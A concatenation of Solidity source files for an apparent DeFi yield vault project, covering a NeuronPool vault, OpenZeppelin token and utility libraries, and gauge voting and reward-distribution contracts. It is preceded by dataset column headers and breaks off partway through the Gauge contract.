file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
list
attention_mask
list
labels
list
pragma solidity 0.8.2; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "./interfaces/IController.sol"; import {GaugesDistributor} from "./GaugesDistributor.sol"; import {Gauge} from "./Gauge.sol"; contract NeuronPool is ERC20 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; // Token accepted by the contract. E.g. 3Crv for 3poolCrv pool // Usually want/_want in strategies IERC20 public token; uint256 public min = 9500; uint256 public constant max = 10000; uint8 public immutable _decimals; address public governance; address public timelock; address public controller; address public masterchef; GaugesDistributor public gaugesDistributor; constructor( // Token accepted by the contract. E.g. 3Crv for 3poolCrv pool // Usually want/_want in strategies address _token, address _governance, address _timelock, address _controller, address _masterchef, address _gaugesDistributor ) ERC20( string(abi.encodePacked("neuroned", ERC20(_token).name())), string(abi.encodePacked("neur", ERC20(_token).symbol())) ) { _decimals = ERC20(_token).decimals(); token = IERC20(_token); governance = _governance; timelock = _timelock; controller = _controller; masterchef = _masterchef; gaugesDistributor = GaugesDistributor(_gaugesDistributor); } function decimals() public view virtual override returns (uint8) { return _decimals; } // Balance = pool's balance + pool's token controller contract balance function balance() public view returns (uint256) { return token.balanceOf(address(this)).add( IController(controller).balanceOf(address(token)) ); } function setMin(uint256 _min) external { require(msg.sender == governance, "!governance"); require(_min <= max, "numerator cannot be greater than denominator"); min = _min; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setTimelock(address _timelock) public { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } function setController(address _controller) public { require(msg.sender == timelock, "!timelock"); controller = _controller; } // Returns tokens available for deposit into the pool // Custom logic in here for how much the pools allows to be borrowed function available() public view returns (uint256) { return token.balanceOf(address(this)).mul(min).div(max); } // Depositing tokens into pool // Usually called manually in tests function earn() public { uint256 _bal = available(); token.safeTransfer(controller, _bal); IController(controller).earn(address(token), _bal); } function depositAll() external { deposit(token.balanceOf(msg.sender)); } // User's entry point; called on pressing Deposit in Neuron's UI function deposit(uint256 _amount) public { // Pool's + controller balances uint256 _pool = balance(); uint256 _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint256 _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens uint256 shares = 0; // totalSupply - total supply of pToken, given in exchange for depositing to a pool, eg p3CRV for 3Crv if (totalSupply() == 0) { // Tokens user will get in exchange for deposit. First user receives tokens equal to deposit. shares = _amount; } else { // For subsequent users: (tokens_stacked * exist_pTokens) / total_tokens_stacked. total_tokesn_stacked - not considering first users shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); } function depositAndFarm(uint256 _amount) public { // Pool's + controller balances uint256 _pool = balance(); uint256 _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint256 _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens uint256 shares = 0; // totalSupply - total supply of pToken, given in exchange for depositing to a pool, eg p3CRV for 3Crv if (totalSupply() == 0) { // Tokens user will get in exchange for deposit. First user receives tokens equal to deposit. shares = _amount; } else { // For subsequent users: (tokens_stacked * exist_pTokens) / total_tokens_stacked. total_tokesn_stacked - not considering first users shares = (_amount.mul(totalSupply())).div(_pool); } Gauge gauge = Gauge(gaugesDistributor.getGauge(address(this))); _mint(address(gauge), shares); gauge.depositStateUpdateByPool(msg.sender, shares); } function withdrawAll() external { withdrawFor(msg.sender, balanceOf(msg.sender), msg.sender); } function withdraw(uint256 _shares) external { withdrawFor(msg.sender, _shares, msg.sender); } // Used to swap any borrowed reserve over the debt limit to liquidate to 'token' function harvest(address reserve, uint256 amount) external { require(msg.sender == controller, "!controller"); require(reserve != address(token), "token"); IERC20(reserve).safeTransfer(controller, amount); } // No rebalance implementation for lower fees and faster swaps function withdrawFor( address holder, uint256 _shares, address burnFrom ) internal { // _shares - tokens user wants to withdraw uint256 r = (balance().mul(_shares)).div(totalSupply()); _burn(burnFrom, _shares); // Check balance uint256 b = token.balanceOf(address(this)); // If pool balance's not enough, we're withdrawing the controller's tokens if (b < r) { uint256 _withdraw = r.sub(b); IController(controller).withdraw(address(token), _withdraw); uint256 _after = token.balanceOf(address(this)); uint256 _diff = _after.sub(b); if (_diff < _withdraw) { r = b.add(_diff); } } token.safeTransfer(holder, r); } function withdrawAllRightFromFarm() external { Gauge gauge = Gauge(gaugesDistributor.getGauge(address(this))); uint256 shares = gauge.withdrawAllStateUpdateByPool(msg.sender); withdrawFor(msg.sender, shares, address(gauge)); } function getRatio() public view returns (uint256) { uint256 currentTotalSupply = totalSupply(); if (currentTotalSupply == 0) { return 0; } return balance().mul(1e18).div(currentTotalSupply); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity 0.8.2; interface IController { function nPools(address) external view returns (address); function rewards() external view returns (address); function devfund() external view returns (address); function treasury() external view returns (address); function balanceOf(address) external view returns (uint256); function withdraw(address, uint256) external; function earn(address, uint256) external; } pragma solidity 0.8.2; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./Gauge.sol"; interface IMinter { function collect() external; } contract GaugesDistributor { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public immutable NEURON; IERC20 public immutable AXON; address public governance; address public admin; uint256 public pid; uint256 public totalWeight; IMinter public minter; bool public isManualWeights = true; address[] internal _tokens; mapping(address => address) public gauges; // token => gauge mapping(address => uint256) public weights; // token => weight mapping(address => mapping(address => uint256)) public votes; // msg.sender => votes mapping(address => address[]) public tokenVote; // msg.sender => token mapping(address => uint256) public usedWeights; // msg.sender => total voting weight of user constructor( address _minter, address _neuronToken, address _axon, address _governance, address _admin ) { minter = IMinter(_minter); NEURON = IERC20(_neuronToken); AXON = IERC20(_axon); governance = _governance; admin = _admin; } function setMinter(address _minter) public { require( msg.sender == governance, "!admin and !governance" ); minter = IMinter(_minter); } function tokens() external view returns (address[] memory) { return _tokens; } function getGauge(address _token) external view returns (address) { return gauges[_token]; } // Reset votes to 0 function reset() external { _reset(msg.sender); } // Reset votes to 0 function _reset(address _owner) internal { address[] storage _tokenVote = tokenVote[_owner]; uint256 _tokenVoteCnt = _tokenVote.length; for (uint256 i = 0; i < _tokenVoteCnt; i++) { address _token = _tokenVote[i]; uint256 _votes = votes[_owner][_token]; if (_votes > 0) { totalWeight = totalWeight.sub(_votes); weights[_token] = weights[_token].sub(_votes); votes[_owner][_token] = 0; } } delete tokenVote[_owner]; } // Adjusts _owner's votes according to latest _owner's AXON balance function poke(address _owner) public { address[] memory _tokenVote = tokenVote[_owner]; uint256 _tokenCnt = _tokenVote.length; uint256[] memory _weights = new uint256[](_tokenCnt); uint256 _prevUsedWeight = usedWeights[_owner]; uint256 _weight = AXON.balanceOf(_owner); for (uint256 i = 0; i < _tokenCnt; i++) { uint256 _prevWeight = votes[_owner][_tokenVote[i]]; _weights[i] = _prevWeight.mul(_weight).div(_prevUsedWeight); } _vote(_owner, _tokenVote, _weights); } function _vote( address _owner, address[] memory _tokenVote, uint256[] memory _weights ) internal { _reset(_owner); uint256 _tokenCnt = _tokenVote.length; uint256 _weight = AXON.balanceOf(_owner); uint256 _totalVoteWeight = 0; uint256 _usedWeight = 0; for (uint256 i = 0; i < _tokenCnt; i++) { _totalVoteWeight = _totalVoteWeight.add(_weights[i]); } for (uint256 i = 0; i < _tokenCnt; i++) { address _token = _tokenVote[i]; address _gauge = gauges[_token]; uint256 _tokenWeight = _weights[i].mul(_weight).div( _totalVoteWeight ); if (_gauge != address(0x0)) { _usedWeight = _usedWeight.add(_tokenWeight); totalWeight = totalWeight.add(_tokenWeight); weights[_token] = weights[_token].add(_tokenWeight); tokenVote[_owner].push(_token); votes[_owner][_token] = _tokenWeight; } } usedWeights[_owner] = _usedWeight; } function setWeights( address[] memory _tokensToVote, uint256[] memory _weights ) external { require( msg.sender == admin || msg.sender == governance, "Set weights function can only be executed by admin or governance" ); require(isManualWeights, "Manual weights mode is off"); require( _tokensToVote.length == _weights.length, "Number Tokens to vote should be the same as weights number" ); uint256 _tokensCnt = _tokensToVote.length; uint256 _totalWeight = 0; for (uint256 i = 0; i < _tokensCnt; i++) { address _token = _tokensToVote[i]; address _gauge = gauges[_token]; uint256 _tokenWeight = _weights[i]; if (_gauge != address(0x0)) { _totalWeight = _totalWeight.add(_tokenWeight); weights[_token] = _tokenWeight; } } totalWeight = _totalWeight; } function setIsManualWeights(bool _isManualWeights) external { require(msg.sender == governance, "!governance"); isManualWeights = _isManualWeights; } // Vote with AXON on a gauge function vote(address[] calldata _tokenVote, uint256[] calldata _weights) external { require(_tokenVote.length == _weights.length); require(!isManualWeights, "isManualWeights should be false"); _vote(msg.sender, _tokenVote, _weights); } function addGauge(address _token) external { require(msg.sender == governance, "!governance"); require(gauges[_token] == address(0x0), "exists"); gauges[_token] = address( new Gauge(_token, address(NEURON), address(AXON)) ); _tokens.push(_token); } // Fetches Neurons function collect() internal { minter.collect(); } function length() external view returns (uint256) { return _tokens.length; } function distribute() external { require( msg.sender == admin || msg.sender == governance, "Distribute function can only be executed by admin or governance" ); collect(); uint256 _balance = NEURON.balanceOf(address(this)); if (_balance > 0 && totalWeight > 0) { for (uint256 i = 0; i < _tokens.length; i++) { address _token = _tokens[i]; address _gauge = gauges[_token]; uint256 _reward = _balance.mul(weights[_token]).div( totalWeight ); if (_reward > 0) { NEURON.safeApprove(_gauge, 0); NEURON.safeApprove(_gauge, _reward); Gauge(_gauge).notifyRewardAmount(_reward); } } } } function setAdmin(address _admin) external { require( msg.sender == admin || msg.sender == governance, "Only governance or admin can set admin" ); admin = _admin; } } pragma solidity 0.8.2; import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import {IAxon} from "./interfaces/IAxon.sol"; contract Gauge is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public immutable NEURON; IAxon public immutable AXON; IERC20 public immutable TOKEN; address public immutable DISTRIBUTION; uint256 public constant DURATION = 7 days; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; modifier onlyDistribution() { require( msg.sender == DISTRIBUTION, "Caller is not RewardsDistribution contract" ); _; } mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 public _totalSupply; uint256 public derivedSupply; mapping(address => uint256) private _balances; mapping(address => uint256) public derivedBalances; mapping(address => uint256) private _base; constructor( address _token, address _neuron, address _axon ) { NEURON = IERC20(_neuron); AXON = IAxon(_axon); TOKEN = IERC20(_token); DISTRIBUTION = msg.sender; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns 